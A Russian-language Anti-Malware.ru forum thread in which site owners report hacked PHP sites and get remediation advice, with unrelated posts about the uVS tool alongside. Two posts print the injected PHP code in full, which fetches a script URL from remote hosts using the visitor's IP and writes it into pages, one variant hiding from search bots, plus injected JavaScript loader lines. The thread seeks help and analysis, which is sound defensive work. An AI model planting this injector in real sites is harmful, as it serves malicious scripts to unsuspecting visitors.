shell explode-db_com - Современные угрозы и защита от них - Форумы Anti-Malware.ru Перейти к содержанию

Recommended Posts

me8721312

Взломали сайт

В php файлах дописался код вида

<?php#d308d9#if (empty($tey)) {    error_reporting(0);    @ini_set('display_errors', 0);    if (!function_exists('__url_get_contents')) {        function __url_get_contents($remote_url, $timeout)        {            if (function_exists('curl_exec')) {                $ch = curl_init();                curl_setopt($ch, CURLOPT_URL, $remote_url);                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);                curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds                $_url_get_contents_data = curl_exec($ch);                curl_close($ch);            } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {                $ctx = @stream_context_create(array('http' =>                    array(                        'timeout' => $timeout,                    )                ));                $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);            } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {                $handle = @fopen($remote_url, "r");                $_url_get_contents_data = @stream_get_contents($handle);            } else {                $_url_get_contents_data = __file_get_url_contents($remote_url);            }            return $_url_get_contents_data;        }    }    if (!function_exists('__file_get_url_contents')) {        function __file_get_url_contents($remote_url)        {            if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',                $remote_url, $matches)            ) {                $protocol = strtolower($matches[1]);                $host = $matches[2];                $path = $matches[3];            } else {                // Bad remote_url-format                return FALSE;            }            if ($protocol == "http") {                $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);            } else {                // Bad protocol                return FALSE;            }            if (!$socket) {                // Error creating socket                return FALSE;            }            $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";            $len_written = @fwrite($socket, $request);            if ($len_written === FALSE || $len_written != strlen($request)) {                // Error sending request                return FALSE;            }            $response = "";            while (!@feof($socket) &&                ($buf = @fread($socket, 4096)) !== FALSE) {                $response .= $buf;            }            if ($buf === FALSE) {                // Error reading response                return FALSE;            }            $end_of_header = strpos($response, "\r\n\r\n");            return substr($response, $end_of_header + 4);        }    }    if (empty($__var_to_echo) && empty($remote_domain)) {        $_ip = $_SERVER['REMOTE_ADDR'];        $tey = "http://ipadtips.ru/pbPfWrqX.php";        $tey = __url_get_contents($tey."?a=$_ip", 1);        if (strpos($tey, 'http://') === 0) {            $__var_to_echo = '<script type="text/javascript" src="' . $tey . '?id=13317021"></script>';            echo $__var_to_echo;        }    }}#/d308d9#?>

в директории добавились файлы вида (в прикрепленном файле ) (в комментариях фразы с девида блейна на русском =))

при выполнении получаем запрос на ввод пароле . комментрием проверку и получаем

что-то файл не прикрепился [удалено]

http://s003.radikal.ru/i202/1404/bb/7cc599e60dec.jpg

во всех js-файлах дописан код вида

 /*f827eb*/document.write('<script type="text/javascript" src="http://fgip.ru/xcgFmDy4.php?id=13317112"></script>');/*/f827eb*/
Отредактировал Mr. Justice
п. 11.17 Правил форума
  • Downvote 1

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Mr. Justice

me8721312

Правилами форума (п. 11.17) запрещается размещать сообщения, содержащие вредоносное и шпионское програмное обеспечение или работоспособные ссылки на указанное программное обеспечение за исключением размещения данного контента в специально отведенном закрытом разделе форума. Что у Вас там было?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
me8721312
me8721312

Правилами форума (п. 11.17) запрещается размещать сообщения, содержащие вредоносное и шпионское програмное обеспечение или работоспособные ссылки на указанное программное обеспечение за исключением размещения данного контента в специально отведенном закрытом разделе форума. Что у Вас там было?

Там был закодированный php код панели той что на скриншоте (этот тот файл который появился ).

Там есть такие закладки

[ Sec. Info ] [ Files ] [ Console ] [ Sql ] [ Php ] [ String tools ] [ Bruteforce ] [ Network ] [ Self remove ]

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
priv8v

судя по скрину - это WSO Shell

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Сергей Ильин

me8721312, а сайт на чем? Патчи стоят? Кто имеет доступ к сайту?

Мы у себя около года назад обнаружили модифицированный скрипт, расследование показало, что протроянили машину одного из редакторов и украли учетку к FTP. Все довольно банально в общем.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
me8721312

WSO Shell

Судя по всему оно!

me8721312, а сайт на чем?

php самописный

Патчи стоят?

нет

Кто имеет доступ к сайту?

Три человека

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Сергей Ильин
Кто имеет доступ к сайту?

Три человека

Очень высока вероятность, что у кого-то из троих компьютер заражен и все учетки ушли. Поднимите логи и посмотрите, кто менял файлы, в которых добавился вредоносный код. Имя этого юзера и будут означать виновного, через которого сайт был заражен. Надежнее всего полностью заменить скомпрометированные клиентские системы, сменить пароли на доступ к сайту. А сам сайт восстановить из последнего чистого бекапа. Можно попробовать вычистить вредоносный код, но есть риски что-то пропустить. Внимательно очень нужно смотреть по логам какие файлы менялись и кем. Возможно атаку удалось эскалировать и было перехвачено управление над другими ресурсами и системами (может стоять вспомогательный софт, например, какой-нибудь phpmyadmin, plesk, cpanel и т.п.). Иначе получится, что вы файлы восстановили, но вам будут пихать все это по-новому.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Yrass

И у меня тоже

#c13fbf#if (empty($cvlrb)) {   if ((substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) == '74.125') || preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'])) {   } else {   error_reporting(0);   @ini_set('display_errors', 0);   if (!function_exists('__url_get_contents')) {       function __url_get_contents($remote_url, $timeout)       {           if (function_exists('curl_exec')) {               $ch = curl_init();               curl_setopt($ch, CURLOPT_URL, $remote_url);               curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);               curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);               curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds               $_url_get_contents_data = curl_exec($ch);               curl_close($ch);           } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {               $ctx = @stream_context_create(array('http' =>                   array(                       'timeout' => $timeout,                   )               ));               $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);           } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {               $handle = @fopen($remote_url, "r");               $_url_get_contents_data = @stream_get_contents($handle);           } else {               $_url_get_contents_data = __file_get_url_contents($remote_url);           }           return $_url_get_contents_data;       }   }   if (!function_exists('__file_get_url_contents')) {       function __file_get_url_contents($remote_url)       {           if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',               $remote_url, $matches)           ) {               $protocol = strtolower($matches[1]);               $host = $matches[2];               $path = $matches[3];           } else {               // Bad remote_url-format               return FALSE;           }           if ($protocol == "http") {               $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);           } else {               // Bad protocol               return FALSE;           }           if (!$socket) {               // Error creating socket               return FALSE;           }           $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";           $len_written = @fwrite($socket, $request);           if ($len_written === FALSE || $len_written != strlen($request)) {               // Error sending request               return FALSE;           }           $response = "";           while (!@feof($socket) &&               ($buf = @fread($socket, 4096)) !== FALSE) {               $response .= $buf;           }           if ($buf === FALSE) {               // Error reading response               return FALSE;           }           $end_of_header = strpos($response, "\r\n\r\n");           return substr($response, $end_of_header + 4);       }   }   if (empty($__var_to_echo) && empty($remote_domain)) {       $_ip = $_SERVER['REMOTE_ADDR'];       $cvlrb = "http://m96.kmu.edu.tw/sqlite/3mqdnqyr.php";       $cvlrb = __url_get_contents($cvlrb."?a=$_ip", 1);       if (strpos($cvlrb, 'http://') === 0) {           $__var_to_echo = '<script type="text/javascript" src="' . $cvlrb . '?id=92587227"></script>';           echo $__var_to_echo;       }   }}}#/c13fbf#

и в Js

/*8d98a6*/document.write('<script type="text/javascript" src="http://m96.kmu.edu.tw/sqlite/3mqdnqyr.php?id=92587271"></script>');/*/8d98a6*/
Отредактировал Yrass

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

  • Сообщения

    • demkd
      Да есть такой баг, выбор целого диска не предусмотрел.
    • PR55.RP55
      Сейчас попробовал добавить файлы и... E:\ [Error: 0x3 - The system cannot find the path specified. ] т.е. Файл > Добавить в список >  Все исполняемые файлы каталога. или пишет вышеуказанную ошибку или вешается. Это и на Win 7 и на Win 10 и с HDD дисками и с USB Диски нормально открываются т.е. доступны.
    • demkd
      А ничего с этим не сделать старые версии windows проблемные там система сама балуется внедрением потоков при очень низком уровне защиты системных процессов, а эцп вообще ничего не гарантирует когда речь заходит о внедренных потоках, зловред вполне может внедрить поток в системный процесс как с помощью подкинутой в правильное место "легитимной" dll, так и просто создав его, а тот уже в свою очередь внедрить в следующий системный и ищи концы среди вот этого вот всего.
      Все это усугубляется тем что тот же SVCHOST.EXE который был когда запущен может оказаться совсем не системным, хотя путь у него будет правильным как и файл будет иметь валидную эцп и запущен он будет якобы services.exe, в 10ке такое провернуть уже сложнее, а вот 7ке легко, потому урезать лог по принципу "оба файла имеют эцп" никак нельзя.
    • PR55.RP55
      uVS v5.0.6v x64 [http://dsrt.dyndns.org:8888]: Windows 7 Home Basic x64 (NT v6.1 SP1) build 7601 Service Pack 1 [C:\WINDOWS] (!) ПРЕДУПРЕЖДЕНИЕ: Ф зафиксировал внедрение потока C:\WINDOWS\SYSTEM32\SERVICES.EXE [428] внедрил поток [380] в процесс: C:\WINDOWS\SYSTEM32\SVCHOST.EXE [876]   C:\WINDOWS\SYSTEM32\SVCHOST.EXE [1060] внедрил поток [1276] в процесс: C:\WINDOWS\SYSTEM32\SVCHOST.EXE [336] и т.д.  А есть ли смысл выводить в лог десяток - другой аналогичных записей, если все эти файлы  в базе проверенных и у них легальная цифровая?  
    • demkd
      ---------------------------------------------------------
       5.0.6
      ---------------------------------------------------------
       o Добавлено 4 новых ключа автозапуска в список для проверки.

       o Добавлен новый статус "UWP".
         Его получают пакеты приложений универсальной платформы Windows (Universal Windows Platform Apps).

       o Добавлен новый твик #46: Отключить Windows Terminal и очистить реестр.
         Если Windows Terminal активен, в лог выдается предупреждение.
         При обнаружении подозрительных настроек Windows Terminal в конфигурационных файлах, реестре или в каталогах с фрагментами в лог выводится предупреждение.
         Если подозрительная строка найдена в JSON-файле настроек, то в список автозапуска добавляется этот файл с содержимым со статусом "подозрительный".
         В любом случае рекомендуется отключить Windows Terminal, а еще лучше немедленно удалить это из системы.
         Windows Terminal — крайне уязвимый и неоптимизированный кусок кода.

       o Улучшена функция масштабирования удаленного рабочего стола, повышено качество аппаратного апскейла, добавлен параметр "Резкость".
         (Требуется D2D и DX11 на клиентском компьютере)

       o Исправлена старая ошибка в функции отправки ответов серверной части uVS.
         Из-за ошибки в редких случаях могло происходить подвисание серверной и клиентской частей uVS при работе с удаленной системой.

       o Исправлена ошибка в функции завершения серверной части при выходе из удаленной системы.

       o Оптимизирована функция подключения к удаленной системе.

       o Оптимизирована функция сжатия фреймов для DDAL/DDAw режимов: шрифты теперь не теряют яркость, а картинка DDAL практически неотличима от DDA1/DDA2 на глаз, 
         при этом размер сжатого фрейма вырос лишь незначительно.

       o Добавлена x64 версия report_crash.

       o Обновалена функция сбора дампа при падении uVS, функция перенесена в утилиту report_crash, что позволит
         получить максимально точную информацию о произошедшей ошибке.

       o Временно добавлена аппаратная функция обнаружения разрушения списка автозапуска в памяти uVS, что позволит отлавливать сложные в обнаружении ошибки.
         Есть 5 дампов, по которым не удалось выяснить точное место ошибки и эта функция должна помочь найти проблемное место.
         Функция снижает скорость формирования списка на ~5% на современных процессорах.

       o Исправлена ошибка в функции подсчета удаленных ключей реестра.

       o Исправлена ошибка в функции записи параметров при выходе из uVS.

       o Исправлена ошибка разбора JSON-файлов.

       o Исправлена ошибка проверки переменных окружения загруженного пользователя.

       o Из списка доступных для подключения IP-адресов удалены адреса активных VPN.

       
×